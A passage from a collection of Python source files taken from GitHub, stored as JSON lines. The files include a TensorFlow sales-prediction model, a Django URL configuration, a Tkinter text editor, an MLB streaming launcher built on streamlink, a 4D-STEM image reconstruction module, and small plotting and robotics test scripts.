None:\n x_tick = []\n if y_tick is None:\n y_tick = []\n\n plt.xticks(x_tick, size=tick_label_size)\n plt.yticks(y_tick, size=tick_label_size)\n\n plt.xlim(x_limits)\n plt.ylim(y_limits)\n\n plt.text(0, 1, title, horizontalalignment='left', verticalalignment='bottom', transform=plt.gca().transAxes)\n plt.tight_layout()\n","repo_name":"maryupshall/Replication","sub_path":"helpers/plotting.py","file_name":"plotting.py","file_ext":"py","file_size_in_byte":1256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"70442295461","text":"import os\nimport pickle\nimport numpy as np\nimport tensorflow as tf\n\nfrom model import *\n\n\nnp.random.seed(123)\n\nr_range = 0.05 # random range\n\ny_label = tf.placeholder(\"float\", (None, 1), name='y_label')\n\nn_store, v_store = 1115, 10 # the number of stores, vector dim of stores\nn_dow, v_dow = 7, 6\nn_promo, v_promo = 1, 1\nn_year, v_year = 3, 2\nn_month, v_month = 12, 6\nn_day, v_day = 31, 10\nn_germanstate, v_germanstate = 12, 6\n\nx_store = tf.placeholder(\"float\", (None, n_store), name='x_store')\nx_dow = tf.placeholder(\"float\", (None, n_dow), name='x_dow')\nx_promo = tf.placeholder(\"float\", (None, n_promo), name='x_promo')\nx_year = tf.placeholder(\"float\", (None, n_year), name='x_year')\nx_month = tf.placeholder(\"float\", (None, n_month), name='x_month')\nx_day = tf.placeholder(\"float\", (None, n_day), name='x_day')\nx_germanstate = tf.placeholder(\"float\", (None, n_germanstate), name='x_germanstate')\n\nemb_store = tf.matmul(x_store, tf.Variable(tf.random_uniform((n_store, v_store), -r_range, r_range)))\nemb_dow = tf.matmul(x_dow, tf.Variable(tf.random_uniform((n_dow, v_dow), -r_range, r_range)))\nemb_promo = tf.matmul(x_promo, tf.Variable(tf.random_uniform((n_promo, v_promo), -r_range, r_range)))\nemb_year = tf.matmul(x_year, tf.Variable(tf.random_uniform((n_year, v_year), -r_range, r_range)))\nemb_month = tf.matmul(x_month, tf.Variable(tf.random_uniform((n_month, v_month), -r_range, r_range)))\nemb_day = tf.matmul(x_day, tf.Variable(tf.random_uniform((n_day, v_day), -r_range, r_range)))\nemb_germanstate = tf.matmul(x_germanstate,\n tf.Variable(tf.random_uniform((n_germanstate, v_germanstate), -r_range, r_range)))\n\nemb_all = tf.concat(1, [emb_store, emb_dow, emb_promo, emb_year, emb_month, emb_day, emb_germanstate])\nv_all = v_store + v_dow + v_promo + v_year + v_month + v_day + v_germanstate\n\nw1 = tf.Variable(tf.random_uniform((v_all, 1000), -r_range, r_range))\nh1 = tf.nn.relu(tf.matmul(emb_all, w1))\n\nw2 = tf.Variable(tf.random_uniform((1000, 500), -r_range, r_range))\nh2 = tf.nn.relu(tf.matmul(h1, w2))\n\nw3 = tf.Variable(tf.random_uniform((500, 1), -r_range, r_range))\nh3 = tf.nn.sigmoid(tf.matmul(h2, w3))\n\n# cost = tf.reduce_mean(tf.abs(tf.sub(h3, y_label)))\ncost = tf.reduce_sum(tf.abs(tf.sub(h3, y_label)))\n\nlearning_rate = 0.005 # 0.1일 때 발산\noptimizer = tf.train.AdamOptimizer(learning_rate=learning_rate).minimize(cost)\n\ntrain_ratio = 0.9\niterations = 1000\n\nsorted_data_file = 'sorted_feature_train_data.pickle'\nf = open(sorted_data_file, 'rb')\n(X, y) = pickle.load(f)\n\nnum_records = len(X)\n\ntrain_size = int(train_ratio * num_records)\n\nX_train = X[:train_size] # (759904,8)\nX_val = X[train_size:]\ny_train = y[:train_size]\ny_val = y[train_size:]\n\nmax_log_y = max(np.max(np.log(y_train)), np.max(np.log(y_val)))\n\n\ndef sample(x, y, n):\n num_row = x.shape[0]\n indices = np.random.randint(num_row, size=n)\n return x[indices, :], y[indices]\n\n\ndef val_for_fit(val):\n val = np.log(val) / max_log_y\n return val\n\n\ndef val_for_pred(val):\n return numpy.exp(val * max_log_y)\n\n\ndef one_hot_multiple(size, targets):\n return np.eye(size)[targets]\n\n\ndef feed_dict(train_x, train_y):\n x_store_v = train_x[:, 1]\n x_dow_v = train_x[:, 2]\n x_promo_v = train_x[:, 3]\n x_year_v = train_x[:, 4]\n x_month_v = train_x[:, 5]\n x_day_v = train_x[:, 6]\n x_germanstate_v = train_x[:, 7]\n y_v = val_for_fit(train_y)[:, None]\n return {x_store: one_hot_multiple(1115, x_store_v),\n x_dow: one_hot_multiple(7, x_dow_v),\n x_promo: x_promo_v[:, None],\n x_year: one_hot_multiple(3, x_year_v),\n x_month: one_hot_multiple(12, x_month_v),\n x_day: one_hot_multiple(31, x_day_v),\n x_germanstate: one_hot_multiple(12, x_germanstate_v),\n y_label: y_v}\n\n\ndef feed_dict_x(train_x):\n x_store_v = train_x[:, 1]\n x_dow_v = train_x[:, 2]\n x_promo_v = train_x[:, 3]\n x_year_v = train_x[:, 4]\n x_month_v = train_x[:, 5]\n x_day_v = train_x[:, 6]\n x_germanstate_v = train_x[:, 7]\n return {x_store: one_hot_multiple(1115, x_store_v),\n x_dow: one_hot_multiple(7, x_dow_v),\n x_promo: x_promo_v[:, None],\n x_year: one_hot_multiple(3, x_year_v),\n x_month: one_hot_multiple(12, x_month_v),\n x_day: one_hot_multiple(31, x_day_v),\n x_germanstate: one_hot_multiple(12, x_germanstate_v)}\n\n\ndef evaluate_models(x, y):\n assert (min(y) > 0)\n guessed_sales = val_for_pred(h3.eval(feed_dict=feed_dict_x(x)))\n mean_sales = guessed_sales.mean(axis=0)\n relative_err = np.absolute((y - mean_sales) / y)\n result = np.sum(relative_err) / len(y)\n return result\n\n\nsess = tf.InteractiveSession()\nsaver = tf.train.Saver()\n\nfile_model = \"./tmp/model.ckpt\"\n\nif os.path.isfile(file_model):\n saver.restore(sess, file_model)\nelse:\n sess.run(tf.initialize_all_variables())\n\ni = 0\nwhile i <= iterations:\n batch_x, batch_y = sample(X_train, y_train, 200000)\n sess.run(optimizer, feed_dict=feed_dict(batch_x, batch_y))\n if i % 10 == 0:\n # save_path = saver.save(sess, file_model)\n # print(\"Model saved in file: %s\" % save_path)\n\n # print(\"Evaluate combined model...\")\n # print(\"Training error...\")\n # r_train = evaluate_models(X_train, y_train)\n # print(r_train)\n\n print(\"Validation error...\")\n r_val = evaluate_models(X_val, y_val)\n print(r_val)\n\n i += 1\n print(i)\n","repo_name":"j52y/rnn-entity-embedding-rossmann","sub_path":"train_tensorflow.py","file_name":"train_tensorflow.py","file_ext":"py","file_size_in_byte":5451,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"1218810095","text":"import debug_toolbar\n\nfrom django.conf import settings\nfrom django.conf.urls.static import static\nfrom django.contrib import admin\nfrom django.urls import include, path\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('', include('accounts.urls')),\n path('', include('transactions.urls')),\n path('', include('categories.urls')),\n]\n\nhandler400 = 'main.views.bad_request_view'\nhandler403 = 'main.views.permission_denied_view'\nhandler404 = 'main.views.page_not_found_view'\nhandler500 = 'main.views.server_error_view'\n\n\nif settings.DEBUG:\n\n urlpatterns += static(\n settings.MEDIA_URL,\n document_root=settings.MEDIA_ROOT,\n )\n\n urlpatterns += [\n path('__debug__/', include(debug_toolbar.urls)),\n ]\n","repo_name":"MironBerch/money-tracker","sub_path":"money_tracker/config/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"18443525774","text":"from tkinter import *\nfrom tkinter import filedialog\nfrom tkinter.filedialog import asksaveasfile\nfrom tkinter.filedialog import askopenfile\nfilename = None\n\ndef newFile():\n global filename\n filename = \"Untitled\"\n text.delete(0.0, END)\n\ndef saveFile():\n global filename\n t = text.get(0.0, END)\n f = open(filename, 'w')\n f.write(t)\n f.close()\n\ndef saveAs():\n f = asksaveasfile(defaultextension='.txt')\n t = text.get(0.0, END)\n try:\n f.write(t.rstrip())\n except:\n showerror(title=\"Greska!\", message=\"Datoteka se ne moze sacuvati...\")\n\nroot = Tk()\n \ndef openFile():\n global filename\n file = askopenfile(parent=root,title='Odaberite datoteku')\n filename = file.name\n t = file.read()\n text.delete(0.0, END)\n text.insert(0.0, t)\n file.close()\n\n\n\nroot.title(\"Pisanje teksta realizirano u pythonu\")\nroot.minsize(width=400, height=400)\nroot.maxsize(width=400, height=400)\n\ntext = Text(root, width=400, height=400)\ntext.pack()\n\nmenubar = Menu(root)\nfilemenu = Menu(menubar)\nfilemenu.add_command(label=\"Novo\", command=newFile)\nfilemenu.add_command(label=\"Otvori\", command=openFile)\nfilemenu.add_command(label=\"Spremi\", command=saveFile)\nfilemenu.add_command(label=\"Spremi kao\", command=saveAs)\nfilemenu.add_separator()\nfilemenu.add_command(label=\"Zatvori\", command=root.quit)\nmenubar.add_cascade(label=\"Datoteka\", menu=filemenu)\n\nroot.config(menu=menubar)\nroot.mainloop()\n","repo_name":"ipavlovic-etfos/WindowsFormsApp3","sub_path":"WindowsFormsApp3/PythonApplication1.py","file_name":"PythonApplication1.py","file_ext":"py","file_size_in_byte":1439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"39794628747","text":"import sys\nimport logging\nlogger = logging.getLogger(__name__)\n\nimport os\nimport pytz\nimport subprocess\nimport argparse\nfrom datetime import datetime, timedelta\nimport pytz\nimport shlex\nfrom itertools import chain\n\nimport dateutil.parser\nfrom orderedattrdict import AttrDict\n\nfrom . import config\nfrom . import state\nfrom . import session\nfrom . import utils\nfrom .exceptions import *\n# from .session import *\n\n\ndef handle_exception(exc_type, exc_value, exc_traceback):\n if state.session:\n state.session.save()\n if issubclass(exc_type, KeyboardInterrupt):\n sys.__excepthook__(exc_type, exc_value, exc_traceback)\n return\n\n logger.error(\"Uncaught exception\", exc_info=(exc_type, exc_value, exc_traceback))\n\nsys.excepthook = handle_exception\n\ndef play_stream(game_specifier, resolution=None,\n offset=None,\n media_id = None,\n preferred_stream=None,\n call_letters=None,\n output=None,\n verbose=0):\n\n live = False\n team = None\n game_number = 1\n game_date = None\n # sport_code = \"mlb\" # default sport is MLB\n\n # media_title = \"MLBTV\"\n media_id = None\n allow_stdout=False\n\n if resolution is None:\n resolution = \"best\"\n\n if isinstance(game_specifier, int):\n game_id = game_specifier\n schedule = state.session.schedule(\n game_id = game_id\n )\n\n else:\n try:\n (game_date, team, game_number) = game_specifier.split(\".\")\n except ValueError:\n try:\n (game_date, team) = game_specifier.split(\".\")\n except ValueError:\n game_date = datetime.now().date()\n team = game_specifier\n\n if \"-\" in team:\n (sport_code, team) = team.split(\"-\")\n\n game_date = dateutil.parser.parse(game_date)\n game_number = int(game_number)\n teams = state.session.teams(season=game_date.year)\n team_id = teams.get(team)\n\n if not team:\n msg = \"'%s' not a valid team code, must be one of:\\n%s\" %(\n game_specifier, \" \".join(teams)\n )\n raise argparse.ArgumentTypeError(msg)\n\n schedule = state.session.schedule(\n start = game_date,\n end = game_date,\n # sport_id = sport[\"id\"],\n team_id = team_id\n )\n # raise Exception(schedule)\n\n\n try:\n date = schedule[\"dates\"][-1]\n game = date[\"games\"][game_number-1]\n game_id = game[\"gamePk\"]\n except IndexError:\n raise MLBPlayException(\"No game %d found for %s on %s\" %(\n game_number, team, game_date)\n )\n\n logger.info(\"playing game %d at %s\" %(\n game_id, resolution)\n )\n\n away_team_abbrev = game[\"teams\"][\"away\"][\"team\"][\"abbreviation\"].lower()\n home_team_abbrev = game[\"teams\"][\"home\"][\"team\"][\"abbreviation\"].lower()\n\n if not preferred_stream or call_letters:\n preferred_stream = (\n \"away\"\n if team == away_team_abbrev\n else \"home\"\n )\n\n try:\n media = next(state.session.get_media(\n game_id,\n media_id = media_id,\n # title=media_title,\n preferred_stream=preferred_stream,\n call_letters = call_letters\n ))\n except StopIteration:\n raise MLBPlayException(\"no matching media for game %d\" %(game_id))\n\n # media_id = media[\"mediaId\"] if \"mediaId\" in media else media[\"guid\"]\n\n media_state = media[\"mediaState\"]\n\n # Get any team-specific profile overrides, and apply settings for them\n profiles = tuple([ list(d.values())[0]\n for d in config.settings.profile_map.get(\"team\", {})\n if list(d.keys())[0] in [\n away_team_abbrev, home_team_abbrev\n ] ])\n\n if len(profiles):\n # override proxies for team, if defined\n if len(config.settings.profiles[profiles].proxies):\n old_proxies = state.session.proxies\n state.session.proxies = config.settings.profiles[profiles].proxies\n state.session.refresh_access_token(clear_token=True)\n state.session.proxies = old_proxies\n\n if \"playbacks\" in media:\n playback = media[\"playbacks\"][0]\n media_url = playback[\"location\"]\n else:\n stream = state.session.get_stream(media)\n\n try:\n # media_url = stream[\"stream\"][\"complete\"]\n media_url = stream.url\n except (TypeError, AttributeError):\n raise MLBPlayException(\"no stream URL for game %d\" %(game_id))\n\n offset_timestamp = None\n offset_seconds = None\n\n if (offset is not False and offset is not None):\n\n timestamps = state.session.media_timestamps(game_id, media_id)\n\n if isinstance(offset, str):\n if not offset in timestamps:\n raise MLBPlayException(\"Couldn't find inning %s\" %(offset))\n offset = timestamps[offset] - timestamps[\"SO\"]\n logger.debug(\"inning offset: %s\" %(offset))\n\n if (media_state == \"MEDIA_ON\"): # live stream\n logger.debug(\"live stream\")\n # calculate HLS offset, which is negative from end of stream\n # for live streams\n start_time = dateutil.parser.parse(timestamps[\"S\"])\n offset_delta = (\n datetime.now(pytz.utc)\n - start_time.astimezone(pytz.utc)\n + (timedelta(seconds=-offset))\n )\n else:\n logger.debug(\"recorded stream\")\n offset_delta = timedelta(seconds=offset)\n\n offset_seconds = offset_delta.seconds\n offset_timestamp = str(offset_delta)\n logger.info(\"starting at time offset %s\" %(offset))\n\n header_args = []\n cookie_args = []\n\n if state.session.headers:\n header_args = list(\n chain.from_iterable([\n (\"--http-header\", f\"{k}={v}\")\n for k, v in state.session.headers.items()\n ]))\n\n if state.session.cookies:\n cookie_args = list(\n chain.from_iterable([\n (\"--http-cookie\", f\"{c.name}={c.value}\")\n for c in state.session.cookies\n ]))\n\n cmd = [\n \"streamlink\",\n # \"-l\", \"debug\",\n \"--player\", config.settings.profile.player,\n ] + cookie_args + header_args + [\n media_url,\n resolution,\n ]\n\n if config.settings.profile.streamlink_args:\n cmd += shlex.split(config.settings.profile.streamlink_args)\n\n if offset_timestamp:\n cmd += [\"--hls-start-offset\", offset_timestamp]\n\n if verbose > 1:\n\n allow_stdout=True\n cmd += [\"-l\", \"debug\"]\n\n if verbose > 2:\n if not output:\n cmd += [\"-v\"]\n cmd += [\"--ffmpeg-verbose\"]\n\n if output is not None:\n if output == True or os.path.isdir(output):\n outfile = get_output_filename(\n game,\n media[\"callLetters\"],\n resolution,\n offset=str(offset_seconds)\n )\n if os.path.isdir(output):\n outfile = os.path.join(output, outfile)\n else:\n outfile = output\n\n cmd += [\"-o\", outfile]\n\n logger.debug(\"Running cmd: %s\" % \" \".join(cmd))\n proc = subprocess.Popen(cmd, stdout=None if allow_stdout else open(os.devnull, 'w'))\n return proc\n\n\ndef get_output_filename(game, station, resolution, offset=None):\n try:\n # if (date is None):\n # date = state.session.schedule(game_id=game[\"gamePk\"])[\"dates\"][-1]\n # game = date[\"games\"][0]\n # Return file name in the format mlb.yyyy-mm-dd.away.vs.home.hh:mm.STATION.ts\n\n start_time = dateutil.parser.parse(\n game[\"gameDate\"]\n ).astimezone(pytz.timezone(\"US/Eastern\"))\n\n game_date = start_time.date().strftime(\"%Y%m%d\")\n game_time = start_time.time().strftime(\"%H%M\")\n if offset:\n game_time = \"%s_%s\" %(game_time, offset)\n return \"mlb.%s.%s@%s.%s.%s.ts\" \\\n % (game_date,\n game[\"teams\"][\"away\"][\"team\"][\"fileCode\"],\n game[\"teams\"][\"home\"][\"team\"][\"fileCode\"],\n game_time,\n station.lower()\n )\n except KeyError:\n return \"mlb.%d.%s.ts\" % (game[\"gamePk\"], resolution)\n\n\ndef begin_arg_to_offset(value):\n if value.isdigit():\n # Integer number of seconds\n value = int(value)\n else:\n try:\n value = (\n datetime.strptime(value, \"%H:%M:%S\")\n - datetime.min\n ).seconds\n except ValueError:\n try:\n value = (\n datetime.strptime(value, \"%M:%S\")\n - datetime.min\n ).seconds\n except:\n if not (value == \"S\"\n or (value[0] in \"TB\" and value[1:].isdigit())\n ):\n raise argparse.ArgumentTypeError(\n \"Offset must be an integer number of seconds, \"\n \"a time string e.g. 1:23:45, \"\n \"or a string like T1 or B3 to select a half inning\"\n )\n return value\n\n\ndef main():\n\n today = datetime.now(pytz.timezone('US/Eastern')).date()\n\n init_parser = argparse.ArgumentParser(add_help=False)\n init_parser.add_argument(\"--init-config\", help=\"initialize configuration\",\n action=\"store_true\")\n init_parser.add_argument(\"-p\", \"--profile\", help=\"use alternate config profile\")\n options, args = init_parser.parse_known_args()\n\n if options.init_config:\n config.settings.init_config()\n sys.exit(0)\n\n config.settings.load()\n\n if options.profile:\n config.settings.set_profile(options.profile)\n\n parser = argparse.ArgumentParser(\n description=init_parser.format_help(),\n formatter_class=argparse.RawDescriptionHelpFormatter\n )\n\n parser.add_argument(\"-b\", \"--begin\",\n help=\"begin playback at this offset from start\",\n nargs=\"?\", metavar=\"offset_from_game_start\",\n type=begin_arg_to_offset,\n const=0)\n parser.add_argument(\"-r\", \"--resolution\", help=\"stream resolution\",\n default=config.settings.profile.default_resolution)\n parser.add_argument(\"-s\", \"--save-stream\", help=\"save stream to file\",\n nargs=\"?\", const=True)\n parser.add_argument(\"--no-cache\", help=\"do not use response cache\",\n action=\"store_true\")\n group = parser.add_mutually_exclusive_group()\n group.add_argument(\"-v\", \"--verbose\", action=\"count\", default=0,\n help=\"verbose logging\")\n group.add_argument(\"-q\", \"--quiet\", action=\"count\", default=0,\n help=\"quiet logging\")\n parser.add_argument(\"game\", metavar=\"game\",\n nargs=\"?\",\n help=\"team abbreviation or MLB game ID\")\n options, args = parser.parse_known_args(args)\n\n try:\n (provider, game) = options.game.split(\"/\", 1)\n except ValueError:\n game = options.game#.split(\".\", 1)[1]\n provider = list(config.settings.profile.providers.keys())[0]\n\n if game.isdigit():\n game_specifier = int(game)\n else:\n game_specifier = game\n\n utils.setup_logging(options.verbose - options.quiet)\n\n if not options.game:\n parser.error(\"option game\")\n\n state.session = session.new(provider)\n preferred_stream = None\n date = None\n\n try:\n proc = play_stream(\n game_specifier,\n options.resolution,\n offset = options.begin,\n preferred_stream = preferred_stream,\n output = options.save_stream,\n verbose = options.verbose\n )\n proc.wait()\n except MLBPlayInvalidArgumentError as e:\n raise argparse.ArgumentTypeError(str(e))\n except MLBPlayException as e:\n logger.error(e)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"tonycpsu/mlbstreamer","sub_path":"mlbstreamer/play.py","file_name":"play.py","file_ext":"py","file_size_in_byte":12163,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"35"} +{"seq_id":"11709826320","text":"import pure_pursuit\nimport pursuit_test\nimport rclpy\nimport random\n\n# returns a random robot position, random set of waypoints, and random radius\ndef get_random_pursuit_simulation():\n rand_wps = []\n rand_path_length = random.randint(4, 10)\n for i in range(rand_path_length):\n rand_x = random.randint(-5, 5)\n rand_y = random.randint(-5, 5)\n rand_wps.append((rand_x, rand_y))\n rand_robo_pos = random.randint(-2,2), random.randint(-2,2)\n rand_r = random.uniform(.5, 3)\n\n return rand_robo_pos, rand_wps, rand_r\n\n\nif __name__ == \"__main__\":\n # commented out is a hard coded test\n waypoints = [(-4, -2), (-4, 2), (-2, 2), (-2, -2), (0, -2), (0, 2), (2, 2), (2, -2)]\n pursuit_test.pursuit_test((-0.5, 0), waypoints, 2.3)\n \n # test using random simulated position, path, and radius\n #test1 = get_random_pursuit_simulation()\n #pursuit_test.pursuit_test(test1[0], test1[1], test1[2])","repo_name":"SoonerRobotics/autonav_software_2023","sub_path":"tests/path_complete/pure_pursuit/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"} +{"seq_id":"867808251","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n*------------------------- TaskReconstruction.py -----------------------------*\n包含读取 4D-STEM 数据并计算虚拟成像的任务。\n\n作者: 胡一鸣\n创建日期: 2022年4月29日\n\nThis module includes tasks calculate Virtual Image of 4D-STEM dataset.\n\nauthor: Hu Yiming\ndate: Apr 29, 2021\n*------------------------- TaskReconstruction.py -----------------------------*\n\"\"\"\n\nfrom logging import Logger\n\nfrom PySide6.QtCore import QObject, Signal \nimport h5py\nimport numpy as np\n\nfrom bin.TaskManager import Subtask, SubtaskWithProgress, Task\nfrom bin.HDFManager import HDFHandler\nfrom bin.Widgets.WidgetMasks import WidgetMaskBase\nfrom lib.FourDSTEMMapping import CalculateCenterOfMass, CalculateVirtualImage\nfrom lib.VectorFieldOperators import Divergence2D, Potential2D, Curl2D\n\nclass TaskBaseReconstruct(Task):\n \"\"\"\n 从 4D-STEM 数据集进行重构成像的任务基类。\n\n The base task to reconstruct images from 4D-STEM dataset.\n \"\"\"\n def __init__(\n self, \n item_path: str, \n image_parent_path: str, \n image_name: str,\n parent: QObject = None, \n **meta\n ):\n \"\"\"\n arguments:\n item_path: (str) the 4D-STEM dataset path.\n\n image_parent_path: (str) the parent group's path of the new image.\n\n image_name: (str) the reconstructed image's name.\n\n parent: (QObject)\n\n **meta: (key word arguments) other meta data that should be stored\n in the attrs of reconstructed HDF5 object\n \"\"\"\n super().__init__(parent)\n self._item_path = item_path\n self._image_parent_path = image_parent_path\n self._image_name = image_name \n self._meta = meta \n self.name = 'Image Reconstruction'\n self.comment = (\n 'Image Reconstruction From 4D-STEM.\\n'\n '4D-STEM dataset path: {0}\\n'\n 'Reconstruction is saved in: {1}\\n'.format(\n self._item_path, self._image_name\n )\n )\n\n @property\n def stem_path(self) -> str:\n \"\"\"\n The 4D-STEM dataset's path.\n \"\"\"\n return self._item_path \n\n @property\n def image_path(self) -> str:\n \"\"\"\n The reconstruction image's path.\n \"\"\"\n if self._image_parent_path == '/':\n return self._image_parent_path + self._image_name\n else:\n return self._image_parent_path + '/' + self._image_name\n\n @property\n def logger(self) -> Logger:\n global qApp\n return qApp.logger\n\n @property\n def hdf_handler(self) -> HDFHandler:\n global qApp \n return qApp.hdf_handler\n\n def updateMeta(self, **meta):\n \"\"\"\n Update metadata. The new attributes will be added.\n \"\"\"\n for key in meta:\n self._meta[key] = meta[key]\n\n\nclass TaskVirtualImage(TaskBaseReconstruct):\n \"\"\"\n 进行虚拟成像的 Task.\n\n Task to reconstruct virtual image.\n \"\"\"\n def __init__(\n self, \n item_path: str, \n image_parent_path: str, \n image_name: str,\n mask: np.ndarray,\n parent: QObject = None, \n **meta,\n ):\n super().__init__(\n item_path, \n image_parent_path, \n image_name, \n parent, \n **meta,\n )\n\n self._mask = mask\n self.setPrepare(self._createImage)\n self.setFollow(self._showImage)\n self._bindSubtask()\n\n def _createImage(self):\n \"\"\"\n Will create a dataset in HDF5 file according to the image_path.\n\n This function works as the preparing function that will be called\n just before the task is submitted.\n \"\"\"\n data_object = self.hdf_handler.file[self.stem_path]\n scan_i, scan_j, dp_i, dp_j = data_object.shape\n self.hdf_handler.addNewData(\n self._image_parent_path,\n self._image_name,\n (scan_i, scan_j),\n 'float64',\n )\n\n for key, value in self._meta.items():\n self.hdf_handler.file[self.image_path].attrs[key] = value \n\n def _bindSubtask(self):\n \"\"\"\n Add subtask, which the practical worker.\n \"\"\"\n self.addSubtaskFuncWithProgress(\n 'Calculating Virtual Image',\n CalculateVirtualImage,\n item_path = self.stem_path,\n mask = self._mask,\n result_path = self.image_path,\n )\n\n def _showImage(self):\n \"\"\"\n Will open the reconstructed image in the HDF5 object.\n\n This function works as the following function that will be called\n just after the task is completed.\n \"\"\"\n self.logger.debug('Task {0} completed.'.format(self.name))\n\n\n\nclass TaskCenterOfMass(Task):\n \"\"\"\n 进行使用质心法计算差分相位衬度像的任务。\n\n Task to calculate CoM vector fields.\n \"\"\"\n def __init__(\n self,\n item_path: str,\n image_parent_path: str,\n calc_dict: dict,\n names_dict: dict,\n metas_dict: dict,\n mask: np.ndarray = None,\n is_com_inverted = False,\n is_mean_set_to_zero = True,\n parent: QObject = None,\n ):\n \"\"\"\n arguments:\n item_path: (str) the 4D-STEM dataset path\n\n image_parent_path: (str) the group where results will be saved\n\n calc_dict: (dict) which modes should be calculated. There are 5\n modes: CoM, CoMi, CoMj, dCoM, iCoM\n\n names_dict: (dict) the result dataset's names of each mode.\n\n metas_dict: (dict) the result dataset's metadata of each mode.\n\n mask: (np.ndarray) the region of calculating. If None, all of the\n matrix will contribute to the result.\n\n is_com_inverted: (bool) whether the result vector field to be \n follow inverted direction. If True, The vector field will \n follow the direction of the projection electric field of the \n sample. It is inverted from the center of mass, due to negative \n charge of the electron beam.\n\n is_mean_set_to_zero: (bool) The vector field result will be \n subtracted from the mean vector. \n\n parent: (QObject)\n \"\"\"\n super(TaskCenterOfMass, self).__init__(parent)\n self._item_path = item_path\n self._image_parent_path = image_parent_path\n self._calc_dict = calc_dict\n self._names_dict = names_dict\n self._metas_dict = metas_dict\n self._mask = mask \n self._is_com_inverted = is_com_inverted\n self._is_mean_set_to_zero = is_mean_set_to_zero\n\n self.name = 'CoM Reconstruction'\n self.comment = (\n 'Center of Mass Reconstruction From 4D-STEM.\\n'\n '4D-STEM dataset path: {0}\\n'\n 'Reconstruction is saved in: {1}\\n'.format(\n self._item_path, self._image_parent_path\n )\n )\n\n self.setPrepare(self._createImages)\n self._bindSubtask()\n self.setFollow(self._showImage)\n \n @property\n def stem_path(self) -> str:\n \"\"\"\n The 4D-STEM dataset's path.\n \"\"\"\n return self._item_path \n\n @property\n def logger(self) -> Logger:\n global qApp\n return qApp.logger\n\n @property\n def hdf_handler(self) -> HDFHandler:\n global qApp \n return qApp.hdf_handler\n\n def _createImages(self):\n \"\"\"\n Will create multiple datasets in HDF5 file according to the calc_dict.\n\n This function works as the preparing function that will be called just\n before the task is submitted.\n \"\"\"\n data_object = self.hdf_handler.file[self.stem_path]\n scan_i, scan_j, dp_i, dp_j = data_object.shape\n for com_mode, is_calced in self._calc_dict.items():\n if is_calced:\n if com_mode == 'CoM':\n shape = (2, scan_i, scan_j)\n else:\n shape = (scan_i, scan_j)\n\n self.hdf_handler.addNewData(\n self._image_parent_path,\n self._names_dict[com_mode],\n shape,\n 'float64',\n )\n\n for key, value in self._metas_dict[com_mode].items():\n data_path = self._getDataPath(com_mode)\n self.hdf_handler.file[data_path].attrs[key] = value\n\n def _getDataPath(self, com_mode: str) -> str:\n \"\"\"\n Returns the path of the created dataset according to com_mode.\n\n arguments:\n com_mode: (str) must be one of 'CoM', 'CoMi', 'CoMj', 'dCoM' \n and 'iCoM'.\n\n returns:\n (str)\n \"\"\"\n if self._image_parent_path == '/':\n return self._image_parent_path + self._names_dict[com_mode]\n else:\n return self._image_parent_path + '/' + self._names_dict[com_mode]\n\n def _bindSubtask(self):\n \"\"\"\n Add subtask, which is the practical worker.\n \"\"\"\n self.addSubtaskFuncWithProgress(\n 'Calculating Center of Mass',\n self._workerCenterOfMass,\n )\n\n def _workerCenterOfMass(self, progress_signal: Signal = None):\n \"\"\"\n Calculate the Center of Mass (CoM) distribution of the 4D-STEM dataset.\n The origin of the diffraction plane is set to the center of the \n diffraction patterns.\n \"\"\"\n data_object = self.hdf_handler.file[self.stem_path]\n scan_i, scan_j, dp_i, dp_j = data_object.shape\n\n com_i, com_j = CalculateCenterOfMass(\n self.stem_path, \n self._mask, \n progress_signal,\n )\n \n if self._is_mean_set_to_zero:\n com_i = com_i - np.mean(com_i)\n com_j = com_j - np.mean(com_j)\n \n if self._is_com_inverted:\n com_i = - com_i \n com_j = - com_j \n\n com_vec = np.zeros((2, scan_i, scan_j))\n com_vec[0, :, :] = com_i \n com_vec[1, :, :] = com_j \n result_dict = {\n 'CoM': com_vec,\n 'CoMi': com_i,\n 'CoMj': com_j,\n 'dCoM': Divergence2D(com_i, com_j),\n 'iCoM': Potential2D(com_i, com_j),\n }\n\n for com_mode, is_calced in self._calc_dict.items():\n if is_calced:\n data_path = self._getDataPath(com_mode)\n self.hdf_handler.file[data_path][:] = result_dict[com_mode]\n \n def _showImage(self):\n \"\"\"\n Will open the reconstructed image in the HDF5 object.\n\n This function works as the following function that will be called\n just after the task is completed.\n \"\"\"\n self.logger.debug('Task {0} completed.'.format(self.name))\n \n\n\n","repo_name":"ManifoldsHu/FourDExplorer","sub_path":"FourDExplorer/lib/TaskReconstruction.py","file_name":"TaskReconstruction.py","file_ext":"py","file_size_in_byte":10936,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"35"} +{"seq_id":"36649604488","text":"from ssbfunctions import solcont_tools\nimport pylab as pl\nimport sys\nfrom matplotlib import rc\nrc('font',**{'family':'serif'})\n\nsc = solcont_tools()\n\nnhyd = sc.nhyd\nnprot = sc.nprot\nnHI = nhyd - nprot\nh = sc.h\ntemp = sc.temp\neldens= sc.nel\nwav = 0.5 #micrometers\n# exthmin: wav in Angstrom, temp in K, eldens in electrons/cm^3\nwav_A = wav*1e4 # wavelengths in Angstrom, from micrometers\nHmin_ext = sc.exthmin(wav_A, temp, eldens)\nalpha_ = Hmin_ext*nHI\nalpha_e = eldens*sc.sigma_Thomson\nalpha_T = alpha_ + alpha_e\n\npl.figure()\npl.plot(h, alpha_, label=r'$\\alpha$(H$^-$)')\npl.yscale('log')\npl.title(r\"$\\alpha$(H$^-$) extinctions for $\\lambda$=500 over height\")\npl.xlabel(r\"Height $h$ [km]\")\npl.ylabel(r\"Extinctions [ cm$^2$/(cm$^3$)]\") # 